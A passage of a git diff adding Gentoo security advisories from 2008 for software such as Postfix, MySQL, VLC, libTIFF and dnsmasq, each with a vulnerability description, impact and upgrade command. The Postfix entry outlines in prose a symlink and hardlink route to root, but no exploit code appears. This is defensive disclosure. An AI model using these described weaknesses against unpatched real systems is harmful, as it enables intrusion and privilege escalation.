+    <package name="net-nds/openldap" auto="yes" arch="*">
+      <unaffected range="ge">2.3.43</unaffected>
+      <vulnerable range="lt">2.3.43</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenLDAP Software is an open source implementation of the Lightweight
+    Directory Access Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cameron Hotchkies discovered an error within the parsing of ASN.1 BER
+    encoded packets in the "ber_get_next()" function in
+    libraries/liblber/io.c.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote unauthenticated attacker can send a specially crafted ASN.1
+    BER encoded packet which will trigger the error and cause an
+    "assert()", terminating the "slapd" daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenLDAP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-nds/openldap-2.3.43&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2952">CVE-2008-2952</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 05 Aug 2008 20:53:02 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 05 Aug 2008 20:54:49 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-10.xml b/xml/htdocs/security/en/glsa/glsa-200808-10.xml
new file mode 100644
index 00000000..38013f19
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-10.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-10">
+  <title>Adobe Reader: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Adobe Reader is vulnerable to execution of arbitrary code via a crafted
+    PDF.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>August 09, 2008</announced>
+  <revised>August 09, 2008: 01</revised>
+  <bug>233383</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">8.1.2-r3</unaffected>
+      <vulnerable range="lt">8.1.2-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Reader (formerly Adobe Acrobat Reader) is a closed-source PDF
+    reader.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Johns Hopkins University Applied Physics Laboratory reported that
+    input to an unspecified JavaScript method is not properly validated.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted PDF
+    document, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-8.1.2-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2641">CVE-2008-2641</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 06 Aug 2008 23:14:17 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 06 Aug 2008 23:14:50 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-11.xml b/xml/htdocs/security/en/glsa/glsa-200808-11.xml
new file mode 100644
index 00000000..8c848a43
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-11.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-11">
+  <title>UUDeview: Insecure temporary file creation</title>
+  <synopsis>
+    A vulnerability in UUDeview may allow local attackers to conduct symlink
+    attacks.
+  </synopsis>
+  <product type="ebuild">nzbget uudeview</product>
+  <announced>August 11, 2008</announced>
+  <revised>August 11, 2008: 01</revised>
+  <bug>222275</bug>
+  <bug>224193</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/uudeview" auto="yes" arch="*">
+      <unaffected range="ge">0.5.20-r1</unaffected>
+      <vulnerable range="lt">0.5.20-r1</vulnerable>
+    </package>
+    <package name="news-nntp/nzbget" auto="yes" arch="*">
+      <unaffected range="ge">0.4.0</unaffected>
+      <vulnerable range="lt">0.4.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    UUdeview is encoder and decoder supporting various binary formats.
+    NZBGet is a command-line based binary newsgrabber supporting .nzb
+    files.
+    </p>
+  </background>
+  <description>
+    <p>
+    UUdeview makes insecure usage of the tempnam() function when creating
+    temporary files. NZBGet includes a copy of the vulnerable code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to overwrite
+    arbitrary files on the system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All UUDview users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/uudeview-0.5.20-r1&quot;</code>
+    <p>
+    All NZBget users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=news-nntp/nzbget-0.4.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2266">CVE-2008-2266</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 06 Jul 2008 18:30:42 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 06 Jul 2008 18:32:00 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 22 Jul 2008 11:22:12 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-12.xml b/xml/htdocs/security/en/glsa/glsa-200808-12.xml
new file mode 100644
index 00000000..7f564f49
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-12.xml
@@ -0,0 +1,126 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-12">
+  <title>Postfix: Local privilege escalation vulnerability</title>
+  <synopsis>
+    Postfix incorrectly checks the ownership of a mailbox, allowing, in certain
+    circumstances, to append data to arbitrary files on a local system with
+    root privileges.
+  </synopsis>
+  <product type="ebuild">postfix</product>
+  <announced>August 14, 2008</announced>
+  <revised>October 23, 2008: 02</revised>
+  <bug>232642</bug>
+  <access>local</access>
+  <affected>
+    <package name="mail-mta/postfix" auto="yes" arch="*">
+      <unaffected range="rge">2.4.7-r1</unaffected>
+      <unaffected range="ge">2.5.3-r1</unaffected>
+      <unaffected range="rge">2.4.8</unaffected>
+      <unaffected range="ge">2.4.9</unaffected>
+      <vulnerable range="lt">2.5.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Postfix is Wietse Venema's mailer that attempts to be fast, easy to
+    administer, and secure, as an alternative to the widely-used Sendmail
+    program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer of SuSE has found that Postfix allows to deliver mail
+    to root-owned symlinks in an insecure manner under certain conditions.
+    Normally, Postfix does not deliver mail to symlinks, except to
+    root-owned symlinks, for compatibility with the systems using symlinks
+    in /dev like Solaris. Furthermore, some systems like Linux allow to
+    hardlink a symlink, while the POSIX.1-2001 standard requires that the
+    symlink is followed. Depending on the write permissions and the
+    delivery agent being used, this can lead to an arbitrary local file
+    overwriting vulnerability (CVE-2008-2936). Furthermore, the Postfix
+    delivery agent does not properly verify the ownership of a mailbox
+    before delivering mail (CVE-2008-2937).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The combination of these features allows a local attacker to hardlink a
+    root-owned symlink such that the newly created symlink would be
+    root-owned and would point to a regular file (or another symlink) that
+    would be written by the Postfix built-in local(8) or virtual(8)
+    delivery agents, regardless the ownership of the final destination
+    regular file. Depending on the write permissions of the spool mail
+    directory, the delivery style, and the existence of a root mailbox,
+    this could allow a local attacker to append a mail to an arbitrary file
+    like /etc/passwd in order to gain root privileges.
+    </p>
+    <p>
+    The default configuration of Gentoo Linux does not permit any kind of
+    user privilege escalation.
+    </p>
+    <p>
+    The second vulnerability (CVE-2008-2937) allows a local attacker,
+    already having write permissions to the mail spool directory which is
+    not the case on Gentoo by default, to create a previously nonexistent
+    mailbox before Postfix creates it, allowing to read the mail of another
+    user on the system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The following conditions should be met in order to be vulnerable to
+    local privilege escalation.
+    </p>
+    <ul>
+    <li>The mail delivery style is mailbox, with the Postfix built-in
+    local(8) or virtual(8) delivery agents.</li>
+    <li>The mail spool directory (/var/spool/mail) is user-writeable.</li>
+    <li>The user can create hardlinks pointing to root-owned symlinks
+    located in other directories.</li>
+    </ul>
+    <p>
+    Consequently, each one of the following workarounds is efficient.
+    </p>
+    <ul>
+    <li>Verify that your /var/spool/mail directory is not writeable by a
+    user. Normally on Gentoo, only the mail group has write access, and no
+    end-user should be granted the mail group ownership.</li>
+    <li>Prevent the local users from being able to create hardlinks
+    pointing outside of the /var/spool/mail directory, e.g. with a
+    dedicated partition.</li>
+    <li>Use a non-builtin Postfix delivery agent, like procmail or
+    maildrop.</li>
+    <li>Use the maildir delivery style of Postfix ("home_mailbox=Maildir/"
+    for example).</li>
+    </ul>
+    <p>
+    Concerning the second vulnerability, check the write permissions of
+    /var/spool/mail, or check that every Unix account already has a
+    mailbox, by using Wietse Venema's Perl script available in the official
+    advisory.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Postfix users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/postfix-2.5.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2936">CVE-2008-2936</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2937">CVE-2008-2937</uri>
+    <uri link="http://article.gmane.org/gmane.mail.postfix.announce/110">Official Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 14 Aug 2008 13:13:26 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 14 Aug 2008 22:37:03 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-01.xml b/xml/htdocs/security/en/glsa/glsa-200809-01.xml
new file mode 100644
index 00000000..816ecfd6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-01.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-01">
+  <title>yelp: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability in yelp can lead to the execution of arbitrary code when
+    opening a URI, for example through Firefox.
+  </synopsis>
+  <product type="ebuild">yelp</product>
+  <announced>September 04, 2008</announced>
+  <revised>September 04, 2008: 01</revised>
+  <bug>234079</bug>
+  <access>remote</access>
+  <affected>
+    <package name="gnome-extra/yelp" auto="yes" arch="*">
+      <unaffected range="ge">2.22.1-r2</unaffected>
+      <unaffected range="rge">2.20.0-r1</unaffected>
+      <vulnerable range="lt">2.22.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    yelp is the default help browser for GNOME.
+    </p>
+  </background>
+  <description>
+    <p>
+    Aaron Grattafiori reported a format string vulnerability in the
+    window_error() function in yelp-window.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can entice a user to open specially crafted "man:" or
+    "ghelp:" URIs in yelp, or an application using yelp such as Firefox or
+    Evolution, and execute arbitrary code with the privileges of that user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All yelp users running GNOME 2.22 should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=gnome-extra/yelp-2.22.1-r2&quot;</code>
+    <p>
+    All yelp users running GNOME 2.20 should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=gnome-extra/yelp-2.20.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3533">CVE-2008-3533</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 15 Aug 2008 14:25:26 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 19 Aug 2008 23:34:23 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Aug 2008 23:34:31 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-02.xml b/xml/htdocs/security/en/glsa/glsa-200809-02.xml
new file mode 100644
index 00000000..e5f2418f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-02.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-02">
+  <title>dnsmasq: Denial of Service and DNS spoofing</title>
+  <synopsis>
+    Two vulnerabilities in dnsmasq might allow for a Denial of Service or
+    spoofing of DNS replies.
+  </synopsis>
+  <product type="ebuild">dnsmasq</product>
+  <announced>September 04, 2008</announced>
+  <revised>September 04, 2008: 01</revised>
+  <bug>231282</bug>
+  <bug>232523</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/dnsmasq" auto="yes" arch="*">
+      <unaffected range="ge">2.45</unaffected>
+      <vulnerable range="lt">2.45</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dnsmasq is a lightweight and easily-configurable DNS forwarder and DHCP
+    server.
+    </p>
+  </background>
+  <description>
+    <ul>
+    <li>
+    Dan Kaminsky of IOActive reported that dnsmasq does not randomize UDP
+    source ports when forwarding DNS queries to a recursing DNS server
+    (CVE-2008-1447).
+    </li>
+    <li>
+    Carlos Carvalho reported that dnsmasq in the 2.43 version does not
+    properly handle clients sending inform or renewal queries for unknown
+    DHCP leases, leading to a crash (CVE-2008-3350).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send spoofed DNS response traffic to dnsmasq,
+    possibly involving generating queries via multiple vectors, and spoof
+    DNS replies, which could e.g. lead to the redirection of web or mail
+    traffic to malicious sites. Furthermore, an attacker could generate
+    invalid DHCP traffic and cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All dnsmasq users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/dnsmasq-2.45&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3350">CVE-2008-3350</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447">CVE-2008-1447</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 13 Jul 2008 19:25:11 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 19 Aug 2008 23:52:40 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Aug 2008 23:52:59 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-03.xml b/xml/htdocs/security/en/glsa/glsa-200809-03.xml
new file mode 100644
index 00000000..757ea9cb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-03.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-03">
+  <title>RealPlayer: Buffer overflow</title>
+  <synopsis>
+    RealPlayer is vulnerable to a buffer overflow allowing for the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">realplayer</product>
+  <announced>September 04, 2008</announced>
+  <revised>September 04, 2008: 01</revised>
+  <bug>232997</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/realplayer" auto="yes" arch="*">
+      <unaffected range="ge">11.0.0.4028-r1</unaffected>
+      <vulnerable range="lt">11.0.0.4028-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    RealPlayer is a multimedia player capable of handling multiple
+    multimedia file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dyon Balding of Secunia Research reported an unspecified heap-based
+    buffer overflow in the Shockwave Flash (SWF) frame handling.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted SWF (Shockwave Flash)
+    file, a remote attacker could be able to execute arbitrary code with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All RealPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/realplayer-11.0.0.4028-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5400">CVE-2007-5400</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 19 Aug 2008 23:23:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Aug 2008 23:23:18 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-04.xml b/xml/htdocs/security/en/glsa/glsa-200809-04.xml
new file mode 100644
index 00000000..298a69e1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-04.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-04">
+  <title>MySQL: Privilege bypass</title>
+  <synopsis>
+    A vulnerability in MySQL might allow users to bypass privileges and gain
+    access to other databases.
+  </synopsis>
+  <product type="ebuild">mysql</product>
+  <announced>September 04, 2008</announced>
+  <revised>September 04, 2008: 01</revised>
+  <bug>220399</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">5.0.60-r1</unaffected>
+      <vulnerable range="lt">5.0.60-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular multi-threaded, multi-user SQL server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sergei Golubchik reported that MySQL imposes no restrictions on the
+    specification of "DATA DIRECTORY" or "INDEX DIRECTORY" in SQL "CREATE
+    TABLE" statements.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An authenticated remote attacker could create MyISAM tables, specifying
+    DATA or INDEX directories that contain future table files by other
+    database users, or existing table files in the MySQL data directory,
+    gaining access to those tables.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-5.0.60-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2079">CVE-2008-2079</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 20 Aug 2008 00:05:23 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 21 Aug 2008 15:32:52 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-05.xml b/xml/htdocs/security/en/glsa/glsa-200809-05.xml
new file mode 100644
index 00000000..a6ae8425
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-05.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-05">
+  <title>Courier Authentication Library: SQL injection vulnerability</title>
+  <synopsis>
+    An SQL injection vulnerability has been discovered in the Courier
+    Authentication Library.
+  </synopsis>
+  <product type="ebuild">courier-authlib</product>
+  <announced>September 05, 2008</announced>
+  <revised>September 05, 2008: 01</revised>
+  <bug>225407</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/courier-authlib" auto="yes" arch="*">
+      <unaffected range="ge">0.60.6</unaffected>
+      <vulnerable range="lt">0.60.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Courier Authentication Library is a generic authentication API that
+    encapsulates the process of validating account passwords.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been discovered that some input (e.g. the username) passed to
+    the library are not properly sanitised before being used in SQL
+    queries.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could provide specially crafted input to the library,
+    possibly resulting in the remote execution of arbitrary SQL commands.
+    NOTE: Exploitation of this vulnerability requires that a MySQL database
+    is used for authentication and that a Non-Latin character set is
+    selected.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Courier Authentication Library users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/courier-authlib-0.60.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2667">CVE-2008-2667</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 11 Aug 2008 18:54:58 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Aug 2008 18:56:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 28 Aug 2008 21:07:13 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-06.xml b/xml/htdocs/security/en/glsa/glsa-200809-06.xml
new file mode 100644
index 00000000..1a749eb0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-06.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-06">
+  <title>VLC: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities in VLC may lead to the remote execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">vlc</product>
+  <announced>September 07, 2008</announced>
+  <revised>September 07, 2008: 01</revised>
+  <bug>235238</bug>
+  <bug>235589</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/vlc" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6i-r2</unaffected>
+      <vulnerable range="lt">0.8.6i-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VLC is a cross-platform media player and streaming server.
+    </p>
+  </background>
+  <description>
+    <p>
+    g_ reported the following vulnerabilities:
+    </p>
+    <ul><li>An integer
+    overflow leading to a heap-based buffer overflow in the Open() function
+    in modules/demux/tta.c (CVE-2008-3732).</li>
+    <li>A signedness error
+    leading to a stack-based buffer overflow in the mms_ReceiveCommand()
+    function in modules/access/mms/mmstu.c (CVE-2008-3794).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted file,
+    possibly resulting in the remote execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VLC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vlc-0.8.6i-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3732">CVE-2008-3732</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3794">CVE-2008-3794</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 25 Aug 2008 18:33:15 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Aug 2008 18:33:23 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 28 Aug 2008 20:55:29 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-07.xml b/xml/htdocs/security/en/glsa/glsa-200809-07.xml
new file mode 100644
index 00000000..8dc82871
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-07.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-07">
+  <title>libTIFF: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple buffer underflow vulnerabilities in libTIFF may allow for the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tiff</product>
+  <announced>September 08, 2008</announced>
+  <revised>September 08, 2008: 01</revised>
+  <bug>234080</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tiff" auto="yes" arch="*">
+      <unaffected range="ge">3.8.2-r4</unaffected>
+      <vulnerable range="lt">3.8.2-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libTIFF provides support for reading and manipulating TIFF (Tagged
+    Image File Format) images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Drew Yao (Apple Product Security) and Clay Wood reported multiple
+    buffer underflows in the LZWDecode() and LZWDecodeCompat() functions in
+    tif_lzw.c when processing TIFF files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted TIFF
+    file with an application making use of libTIFF, possibly resulting in
+    the remote execution of arbitrary code with the privileges of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libTIFF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/tiff-3.8.2-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2327">CVE-2008-2327</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 02 Sep 2008 17:01:52 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 05 Sep 2008 22:08:51 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 05 Sep 2008 22:08:59 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200809-08.xml b/xml/htdocs/security/en/glsa/glsa-200809-08.xml
new file mode 100644
index 00000000..e211c067
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200809-08.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200809-08">
